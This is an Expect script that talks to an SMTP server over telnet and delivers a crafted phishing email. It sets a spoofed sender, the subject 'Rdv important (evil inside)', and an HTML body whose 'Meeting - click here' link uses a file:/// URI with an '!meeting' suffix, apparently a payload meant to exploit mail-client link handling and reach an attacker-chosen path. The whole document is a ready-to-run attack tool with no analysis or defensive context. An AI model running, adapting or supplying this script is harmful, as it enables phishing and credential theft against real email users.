#!/usr/bin/expect

set timeout -1
set separator "duy31"

set host [lindex $argv 0]
set port [lindex $argv 1]
set from [lindex $argv 2]
set rcpt [lindex $argv 3]
set url [lindex $argv 4]

spawn telnet $host $port

expect "220"
send "HELO $host\r"

expect "250"
send "mail from:<$from>\r"

expect "250"
send "rcpt to:<$rcpt>\r"

expect "250"
send "data\r"

expect "354"
send "From: <$from>\r"
sleep 1
send "to: <$rcpt>\r"
sleep 1
send "Subject: Rdv important (evil inside)\r"
sleep 1
send "Mime-Version: 1.0;\r"
sleep 1
send "Content-Type: multipart/alternative; boundary=$separator\r"
sleep 1
send "duy-31 inside \r\n"
sleep 1
send -- "--$separator\r"
sleep 1
send "Content-Type: text/plain; charset=us-ascii\r"
sleep 1
send "This should be read in HTML\r\n"
sleep 1
send -- "--$separator\r"
sleep 1
send "Content-Type: text/html; charset=ISO-8859-1\r\n"
sleep 1
send "<html>\r"
sleep 1
send "<body>\r"
sleep 1
send "<h1><a href=\"file:///$url!meeting\">Meeting - click here.</a></h1>\r"
sleep 1
send "</body>\r"
sleep 1
send "</html>\r" 
sleep 1
send -- "--$separator--\r"
sleep 1
send ".\r"
send "Quit"
